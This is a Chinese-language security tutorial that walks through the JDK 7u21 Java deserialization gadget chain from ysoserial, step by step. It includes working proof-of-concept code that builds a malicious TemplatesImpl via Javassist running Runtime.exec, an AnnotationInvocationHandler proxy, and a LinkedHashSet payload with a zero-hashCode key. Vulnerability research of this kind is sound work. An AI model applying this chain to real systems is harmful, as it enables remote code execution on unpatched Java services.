JDK反序列化Gadgets 7u21 预计阅读时间:30-60分钟 内容:具详细无比
前言 从fastjson1.24版本的反序列化利用方式知道有使用jdk7u21的版本利用链,ysoserial利用工具中也有7u21利用链。现在都是7u80版本了,这个漏洞真正直接利用,估计已经很难找到了。
但是这个利用链的构造有很多之前没接触过的java特性,就此好好学习一下,也算是fastjson的前置知识吧。
Gadgets 是啥意思? 其实就是利用链的意思
POC 先去Oracle官网下载漏洞jdk版本7u21 ,漏洞影响7u25之前的版本,整条链poc貌似只适用于7u21以前。
之所以说这是JDK反序列化链,是因为这个链中所有利用类都是jdk自带的类,其中payload最终关键类是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类
。
我们从ysoserial源码中抠出7u21的利用代码来分析,具体代码由于比较长,不全部在此贴出,只截取需要的部分,所有代码已上传github 。
jdk7u21.java
是一个包含基础核心原理POC。(Gadgets类参考github,或者可以去ysoserial中取)
1 2 3 4 5 public static void main (String[] args) throws Exception { TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc" ); calc.getOutputProperties(); }
请注意TemplatesImpl类的getOutputProperties函数是一个以get开头的函数,这是这个利用链在fastjson组件利用的关键。
跟踪getOutputProperties方法,来确认恶意TemplatesImpl类calc 需要的条件,先看调用栈:
newInstance 从调用栈中,可见最后是obj.newInstance
(obj是虚指)触发poc执行恶意代码,调用栈再往下之后就是java class类的newInsatance内部实现了,不细纠。
newinstance实例化会默认触发执行static方法,构造方法代码,如下:
所以我们的payload需要放在最后执行的恶意类的static或构造方法中。知道这点后,我们从头开始慢慢寻找其他需要条件。
跟入TemplatesImpl类
的getOutputProperties方法
:
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); ... return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
在漏洞代码执行AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
前,
先经过com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run () { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1 ) { _auxClasses = new Hashtable(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
_tfactory 与jdk版本 其中的限制条件4 _tfactory 这个参数是有说法的,在其他人博客中有存在对于 _tfactory 的参数的说明:
因为代码中存在 _tfactory.getExternalExtensionsMap()
所以需要 _tfactory 进行赋值 不能为null。
但其实这跟jdk版本是有关的,1.7下不同的jdk版本这段代码是不同的。
1.7u80版本的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
中就是存在_tfactory.getExternalExtensionsMap()
这句代码的。
在1.7u80中,注释Gadgets类中添加 _tfactory
这个字段的代码后(之后我们将详细分析Gadgets类),_tfactory=null就会发生null指针报错。
细心的同学可以注意到上面jdk1.7u80两个弹框成功不成功的下方都会null指针报错。
但是前者是在执行恶意代码AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();后 的translet.postInitialization();处报错。
而后者是在恶意代码执行之前的defineTransletClasses函数报错。即没有成功执行payload
在同样注释_tfactory
这个字段的代码的情况下,使用jdk1.7u21的环境,却可以成功执行,因为jdk1.7u21的情况下并没有_tfactory.getExternalExtensionsMap()
这句代码。
但是1.7u21也可以兼容给_tfactory赋值的情况,所以还是给 _tfactory 赋值比较好,可以兼容不同的版本。
TemplatesImpl恶意类的限制条件 至此总结我们构筑一个恶意的TemplatesImpl类,在调用这个恶意类的getOutputProperties方法时,需要满足的限制条件。即,构筑恶意TemplatesImpl类的需要条件。
TemplatesImpl类的 _name
变量 != null
TemplatesImpl类的_class
变量 == null
TemplatesImpl类的 _bytecodes
变量 != null
TemplatesImpl类的_tfactory
需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类
TemplatesImpl类的_bytecodes
是我们代码执行的类的字节码。_bytecodes
中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类
我们需要执行的恶意代码写在_bytecodes
变量对应的类的静态方法或构造方法中。
构筑POC 回首漏洞原理的POC
1 2 3 4 public static void main (String[] args) throws Exception { TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc" ); calc.getOutputProperties(); }
在分析完第二句触发漏洞的语句后。回来看第一句构筑。由于需要动态对于类结构进行操作,有使用到Javassist包
Gadgets是ysoserial自主构建的一个利用类,看其中的createTemplatesImpl方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public static TemplatesImpl createTemplatesImpl (final String command) throws Exception { final TemplatesImpl templates = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); clazz.makeClassInitializer() .insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"" , "\\\"" ) + "\");" ); clazz.setName("ysoserial.Pwner" + System.nanoTime()); final byte [] classBytes = clazz.toBytecode(); Reflections.setFieldValue(templates, "_bytecodes" , new byte [][] { classBytes, ClassFiles.classAsBytes(Foo.class)}); Reflections.setFieldValue(templates, "_name" , "Pwnr" ); Reflections.setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl()); return templates; }
瞅一眼StubTransletPayload
类的继承。
1 2 3 4 5 6 7 8 9 10 public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L ; public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }
再瞅一眼往templates类的私有字段_bytecodes, _name , _tfactory 这些属性中塞数据的Reflections.setFieldValue
方法。这里是通过反射机制 修改私有属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) throws Exception { Field field = clazz.getDeclaredField(fieldName); if (field != null ) field.setAccessible(true ); else if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; }
可以看到上面的Gadgets类完美符合了我们之前在利用过程中提到的全部需要条件。但是Gadgets构造的恶意TemplatesImpl类比起我们需要的POC条件多1处东西:
_bytecodes多加了一个Foo.class类
我始终没有找到这个到底有啥用,去掉后实验,没有任何影响。如果有老哥知道,可以联系我,非常感谢。
payload位置static与构造函数 自己构造一波payload,再分析一个payload放置位置的问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class jdk7u21_mine { public static class lala { } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(lala.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; CtConstructor cons = new CtConstructor(new CtClass[]{}, cc); cons.setBody("{" +cmd+"}" ); cc.addConstructor(cons); String randomClassName = "LaLa" +System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); byte [] lalaByteCodes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][]{lalaByteCodes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Reflections.setFieldValue(templates,"_bytecodes" ,targetByteCodes); Reflections.setFieldValue(templates,"_name" ,"lala" +System.nanoTime()); Reflections.setFieldValue(templates,"_class" ,null ); Reflections.setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl()); templates.getOutputProperties(); }
以上需要注意一个情况,我们的恶意字节码类lala类,使用了static修饰符。其实我们payload写在构造函数中是可以不使用static修饰符不会影响。
但是如果我们想把payload写在static初始化块中,类就需要使用static修饰符时。不然最后实例化是不会成功的。
就相当于是以下的情况,内部类是不允许存在static修饰符的,原理可以参考 。
ps.突然发现非static方法块也是可以写payload…..但是不纠结这个了!!
至此我们完成了恶意Templates类构造以及TemplatesImpl.getOutputProperties
触发点的分析(当然从上面的调用过程,我们知道直接调用TemplatesImpl.newTransformer()
也是一样的,getOutputProperties其实就是调用了newTransformer(),在接下来的延长链中其实漏洞触发是在newTransformer)。
目前的结论已经可以移花接木到fastjson的利用链中形成一套完成利用链。以及其他很多组件的利用链的最后一步都是TemplatesImpl类(限于jdk1.7版本,1.8会编译错误,原因未知)。
但是就单独作为一条利用链来说,只有exp触发点和一点点长度的利用链是不够的,我们需要继续延伸到一个反序列化readObject点,使服务端一触发反序列化,就可以沿着利用链到exp触发点。
延长利用链——AnnotationInvocationHandler AnnotationInvocationHandler这是一个熟悉的类,在commons-collections一文的1.7最基础的利用链中,我们正是使用了AnnotationInvocationHandler的readobject函数作为反序列化入口点。
然而这里跟AnnotationInvocationHandler的invoke函数有关。在这之前我们需要先了解java的动态代理性质。
动态代理 动态代理是java的特性之一,其实就可以理解为web应用中的拦截器,在执行正式代码之前先过一个拦截器函数(比如spring的AOP)。但是以上类比只是为了便于理解,实际上spring的AOP之类的拦截器反而是基于java的动态代理实现的。
下面将举例动态代理SubjectImpl类,即在SubjectImple类前面建立一个拦截器。
DynamicProxy.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;interface ISubject { public void hello (String str) ; } class SubjectImpl implements ISubject { public void hello (String str) { System.out.println("SubjectImpl.hello(): " + str); } } class Handler implements InvocationHandler { private Object subject; public Handler (Object subject) { this .subject = subject; } public Object invoke (Object object, Method method, Object[] args) throws Throwable { System.out.println("before!" ); method.invoke(this .subject, args); System.out.println("after!" ); return null ; } } public class DynamicProxy { public static void main (String[] args) { SubjectImpl subject = new SubjectImpl(); InvocationHandler tempHandler = new Handler(subject); ISubject iSubject = (ISubject) Proxy.newProxyInstance(DynamicProxy.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler); iSubject.hello("world!" ); } }
Proxy.newProxyInstance
三个传入参数:
loader,选用的类加载器。感觉随便选就好了。
interfaces,被代理类所实现的接口,这个接口可以是多个。(即需要拦截的接口)
h,一个 实现拦截器的invocation handler。
之后只要我们调用了返回之后的对象中被安排了代理的接口,就会进入invocationHandler的invoke函数。
以上执行结果就是:
1 2 3 before! SubjectImpl.hello(): world! after!
那么动态代理大概就分为几个部分:
被代理的接口类
被代理的接口类的实现类
继承InvocationHandler接口、实现invoke方法的拦截器类
Proxy.newProxyInstance完成拦截器,与被代理的接口类的绑定
调用这个返回对象的被代理接口即可。(此处注意这个返回的对象不是只有被代理的接口类中的接口,还有一些常用接口,之后会截图说明。)
我们说了那么多动态代理机制,是为啥呢?
1 2 3 4 5 6 class AnnotationInvocationHandler implements InvocationHandler , Serializable { public Object invoke (Object var1, Method var2, Object[] var3) { ... } }
其实就是因为AnnotationInvocationHandler类其实是一个InvocationHandler接口的实现类。它不只是在cc的利用链中作为反序列化点,还是作为动态代理的拦截器实现函数(有一个自己的invoke方法)
动态代理链接AnnotationInvocationHandler与Templates 我们的目的是连接代理后的对象Proxy的equal方法到Templates的newTransformer方法。
当建立动态代理后(Proxy.newInstance返回一个对象a),我们假设调用a.b(c)
先瞅一眼AnnotationInvocationHandler的构造函数有个底,我们可以知道有可控的this.type与this.memberValues
1 2 3 4 AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { this .type = var1; this .memberValues = var2; }
bytheway,这里的AnnotationInvocationHandler构造函数是缺省修饰符,它在不同的包中是不能直接调用的。
反射机制中有说到,可以使用setAccessible(true)来开放权限。
调用a.b(c)。 sun.reflect.annotation.AnnotationInvocationHandler#invoke
1 2 3 4 5 6 7 8 9 10 11 12 public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } else { ...
sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 private Boolean equalsImpl (Object var1) { if (var1 == this ) { return true ; } else if (!this .type.isInstance(var1)) { return false ; } else { Method[] var2 = this .getMemberMethods(); int var3 = var2.length; for (int var4 = 0 ; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this .memberValues.get(var6); Object var8 = null ; AnnotationInvocationHandler var9 = this .asOneOfUs(var1); if (var9 != null ) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false ; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } } if (!memberValueEquals(var7, var8)) { return false ; } }
equals方法会根据this.type类中的方法去遍历调用传入对象中的所有对应的方法。那么!
我们可以构筑一个AnnotationInvocationHandler类,构造函数中选择一个this.type,this.type这个类中需要包含我们要恶意执行的方法。
把这个AnnotationInvocationHandler类与随便什么接口进行绑定(因为我们需要调用的是equals,只要是一个Object对象就会有equals方法 maybe?)
调用这个代理类的equals方法,同时給入恶意实例,就会遍历this.type这个类中的方法对恶意实例中的对应方法进行调用。唯一的缺点就是调用的方法不能传入参数。(因为var5.invoke(var1);
只传入了对象,没有传入参数)
我们需要调用的是TemplatesImpl.newTransformer()
,刚好这个方法不需要传入参数!
再是this.type=Templates.class,因为TemplatesImpl继承自Templates接口,并且它有我们要的方法,并且在第一个(为啥需要恰好又刚好在第一个,之后有说法)。
1 2 3 4 public interface Templates { Transformer newTransformer () throws TransformerConfigurationException ; Properties getOutputProperties () ; }
给出poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public static void main (String[] args) throws Exception { Map map = new HashMap(); final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructors()[0 ]; ctor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,map); Override proxy = (Override) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(),new Class[]{Override.class},invocationHandler); final Object templates = Gadgets.createTemplatesImpl("calc" ); proxy.equals(templates); }
this.type的讲究 为啥this.type需要选用类中第一个方法是我们需要调用的方法的类呢?
因为不是的话,就需要考虑更多,比如报错退出。可以看到在执行完我们的payload后是会报错退出的,当然这对我们paylaod的执行没有影响。
但是假如我们需要调用的方法不在第一个,而前面是一个需要参数的方法,就会因为没有传入参数而报错退出。(比如我们把Templates.class改成TemplatesImpl.class)
如果我们需要调用的方法前面有一些其他方法,但是都是不需要参数的,我们还需要构造this.memberValues,让前面这些函数的返回值与this.menberValues里面一致才不会返回false退出。就会有一串的麻烦(目前来看这样也是可行的,但是假如这里真的改了this.memberValues之后LinkedHashSet那关就过不去了!实际上我们只能且必须要找到一个第一个方法是能够代码执行的方法!)
所幸我们可以找到一个Templates类,它进行代码执行的方法是第一个,万幸。
进一步延伸至LinkedHashSet 接下来需要触发proxy.equals(templates)
,这种a.equals(b)
的形式。a是我们构建的动态代理返回对象,b是恶意TemplatesImpl类。
LinkedHashSet类 继承自Hashset ,具有Hashset的全部特点:元素不重复,快速查找,快速插入。新增的特性是有序,数据结构上使用双向链表实现。(之所以用LinkedHashSet就是因为其有序的特性,后面会说到为什么需要有序)
LinkedHashSet.java
1 2 3 4 5 6 7 8 9 10 11 public class LinkedHashSet <E > extends HashSet <E > implements Set <E >, Cloneable , java .io .Serializable { ... public LinkedHashSet () { super (16 , .75f , true ); } ... }
super就进入HashSet了,HashSet.java
:
1 2 3 HashSet(int initialCapacity, float loadFactor, boolean dummy) { map = new LinkedHashMap<>(initialCapacity, loadFactor); }
具体是如何实现这个集合的,我们就不纠结了。我们需要通过LinkedHashSet连接writeObject序列化与readObject反序列化 这个利用链入口至a.equals(b) 这个我们之前得到的触发点。
先看LinkedHashSet的序列化与反序列化。LinkedHashSet获取的是LinkedHashMap的实例,而LinkedHashMap又继承自HashSet,所以最终的序列化与反序列化就是在HashSet类
中。
我们跟着反序列化触发链来看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException { s.defaultWriteObject(); s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); s.writeInt(map.size()); for (E e : map.keySet()) s.writeObject(e); } private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this ) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor)); int size = s.readInt(); for (int i=0 ; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); } }
java.util.HashMap#put
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public V put (K key, V value) { if (key == null ) return putForNullKey(value); int hash = hash(key) ; int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null ; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this ); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null ; }
我们专注于if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
这句语句。(e为前一个元素,key为当前元素)
可以看到key.equals(k)
符合我们前面说到的a.equals(b)
的格式。在只有两个元素的情况下,k为有序集合中第一个元素,key为第二个元素。
即我们需要一个有序集合{templates,proxy}
才能满足proxy.equals(templates)
这一句触发语句。
这也就是为什么需要有序集合的原因,如果是普通集合,不会一定会符合这个a.equals(b)
的顺序
由于这里代码(e.hash == hash && ((k = e.key) == key || key.equals(k)))
调用第三个语句就需要满足条件
e.hash == hash
:templates的hash == proxy的hash
(k = e.key) != key
:templates(就是k) != proxy(就是key)(我们需要||左边这个表达式不满足,才会执行右边的漏洞触发函数key.equals(k)。这是||的特性,执行到一个为true的,后面的表达式就不执行了)
因为templates和proxy完全是两个不同的对象。所以第二个条件满足。
但是第一个条件需要hash相同,如果不是偷看答案的小白(我自己)肯定会突然僵住,特么这咋可能hash相等,当场直接gg。实际上套路还是很深。看hash是如何生成的
java.util.HashMap#hash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 final int hash (Object k) { int h = 0 ; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; } h ^= k.hashCode(); h ^= (h >>> 20 ) ^ (h >>> 12 ); return h ^ (h >>> 7 ) ^ (h >>> 4 ); }
我们传入的obj有TemplatesImpl类,但是这个类中没有自实现hashcode方法。
有Proxy对象(进入AnnotationInvocationHandler拦截器实现类),proxy.hashCode会先进入AnnotationInvocationHandler的invoke拦截器。(跟equals一样一样的,任何函数都会先进入invoke方法)
sun.reflect.annotation.AnnotationInvocationHandler#invoke
1 2 3 4 5 6 7 8 9 10 11 12 public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } else { assert var5.length == 0 ; if (var4.equals("toString" )) { return this .toStringImpl(); } else if (var4.equals("hashCode" )) { return this .hashCodeImpl();
sun.reflect.annotation.AnnotationInvocationHandler#hashCodeImpl
1 2 3 4 5 6 7 8 9 10 private int hashCodeImpl () { int var1 = 0 ; Entry var3; for (Iterator var2 = this .memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; }
这边写的贼复杂,改成简单点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private int hashCodeImpl () { int var1 = 0 ; Entry var3; Iterator var2 = this .memberValues.entrySet().iterator(); for ( ;var2.hasNext(); ) { var3 = (Entry)var2.next(); String key = var3.getKey(); Object value = var3.getValue(); var1 += 127 * key.hashCode() ^ memberValueHashCode(value); } return var1; }
sun.reflect.annotation.AnnotationInvocationHandler#memberValueHashCode
1 2 3 4 5 private static int memberValueHashCode (Object var0) { Class var1 = var0.getClass(); if (!var1.isArray()) { return var0.hashCode(); ...
我们的目的是为了满足以下等式:
Proxy的hashCode = 127 * 可控键的hashCode ^ 可控值的hashCode == TemplatesImpl的hashCode
*与 ^(异或) ,前者优先级高,后者优先级低,所以正常从左到右运算
又 0 ^ n = n
那么只需要可控键的hashCode等于0就会出现:
127 * 0 ^ TemplatesImpl的hashCode == TemplatesImpl的hashCode
this.memberValues中map中键值对的值为我们的恶意TemplatesImpl类即可,接下来需要它的键名的hashCode为0
研究员就是会寻找到一些神奇的值比如"f5a5a608"
,""
这些值的hashCode为0!!!
所以我们在this.memberValues中赋值键值对 ("f5a5a608"->TemplatesImpl恶意类)
即可。
看payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public static void main (String[] args) throws Exception { Templates templates = Gadgets.createTemplatesImpl("calc" ); Map map = new HashMap(); String magicStr = "f5a5a608" ; map.put(magicStr,"Override" ); final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructors()[0 ]; ctor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,map); Override proxy = (Override) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(),new Class[]{Override.class},invocationHandler); HashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy); map.put(magicStr,templates); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(set); objectOutputStream.flush(); objectOutputStream.close(); byte [] bytes = byteArrayOutputStream.toByteArray(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object o = objectInputStream.readObject(); }
this.memberValues的键值对的值先占位 以上代码还会有最后一个疑问,为啥我们填入this.memberValues的map要先试用override字符串来占位,直接填入恶意的攻击类templates不行么?
确实是不行的,因为我们可以看到我们在生成LinkedHashSet时调用了java.util.HashSet#add
1 2 3 public boolean add (E e) { return map.put(e, PRESENT)==null ; }
这里调用了我们触发漏洞的函数map.put(),同时也是按照我们的漏洞触发顺序去调用map.put,这会导致payload会在我们本地触发,之后会无法序列化成功(至于为啥序列化不成功不想追究了!)
所以一套完美的利用链就分析完了!
修复情况 我们在7u80版本中去查看AnnotationInvocationHandler的构造方法,会发现对于this.type进行了校验必须为Annotation.class。
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type." ); } }
如果我们们使用以上的payload去打7u80版本的jdk就会在反序列化AnnotationInvocationHandler类调用其构造函数的时候,报错。
这也就是为什么之前的payload说到在高版本创建需要使用反射把恶意的this.type写进去,当然构造时可以这样,触发时就必须走构造函数,骚操作不了了。
主要组件的 LinkedHashSet -> AnnotationInvocationHandler -> templateImpl 就因为AnnotationInvocationHandler 反序列化失败而失败。
小结 一路分析下来,只能说这个利用链实在是太骚了。
从templates.newTransformer触发链的限制条件,使用javassist去构造templates恶意类。(其中分析了_tfactory与版本问题,payload位置static与构造函数的问题)
再通过java的动态代理特性,选中了AnnotationInvocationHandler这个拦截器。
我们通过AnnotationInvocationHandler的invoke拦截实现类的特性,选择了this.type特殊构造了AnnotationInvocationHandler类。链接了 proxy.equals(templates)到Templates.newTransformer()。
再是通过LinkedHashSet类,左打通了序列化与反序列化的入口点,右在反序列化恢复集合的过程中存在着一处a.equals(b)可以连接proxy.equals(templates)这一触发点。
最神奇的是为了满足到达触发点的要求,还反过头来利用AnnotationInvocationHandler类中的invoke方法中的hashCode路径。在AnnotationInvocationHandler构造中寻求了一处特殊的this.memberValues,来达成hash(a)=hash(b)的骚操作。
只可以说安全研究员真是大佬….这个穿针引线一处不差的。
虽然说这条利用链已经被封了好久了,但是我们也可以意识到被封杀的是AnnotationInvocationHandler构造方法处。
如果可以通过其他途径接上templates.newTransformer,就可以构筑一条新的链。因为单单templates.newTransformer是仍然可以作为payload执行的触发点的(比如7u80)。
2019.12.12更新 在看fastjsonexploit框架时,发现有Templates恶意类竟然有第二个触发点。前文中我们讲到的TemplatesImpl类是jdk自带的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
包中的类
看了fastjsonexploit的代码后,发现在另外一个包里面有一个跟我们上面TemplatesImpl几乎完全一样的一个类。
我们在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的父类Templates中查找继承该父类的类。(idea下ctrl+alt+B)
可以发现在org.apache.xalan.xsltc.trax.TemplatesImpl
也继承该接口。该类与之前的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl几乎完全一致,payload也没有任何差别。只是在构造exp触发那个自定义类时,继承父类AbstractTranslet
接口不一样(org.apache.xalan.xsltc.runtime.AbstractTranslet
),但是如果我们是在代码中动态指定父类的话,这也无关痛痒。
在github的代码中查找继承Templates类是无法找到该类的。
因为这个类是位于xalan这个第三方包里面,而不是在jdk7本身的代码中。
1 2 3 4 5 <dependency > <groupId > xalan</groupId > <artifactId > xalan</artifactId > <version > 2.7.2</version > </dependency >
可见这个触发点的利用链利用条件就更加苛刻了(jdk7u21+xalan2.7.2)。
不过单独就最后的这个触发点拎出来,也是一个新的思路,这样就把对于jdk7版本的限制变成了即使是jdk8的环境下,只要使用了xalan 2.7.2这个包,也会引入一个触发点。也算是扩大了攻击面吧。
参考 https://www.freebuf.com/vuls/175754.html
https://b1ue.cn/archives/176.html
https://gist.github.com/frohoff/24af7913611f8406eaf3
https://sec.xiaomi.com/article/41
javassist使用全解析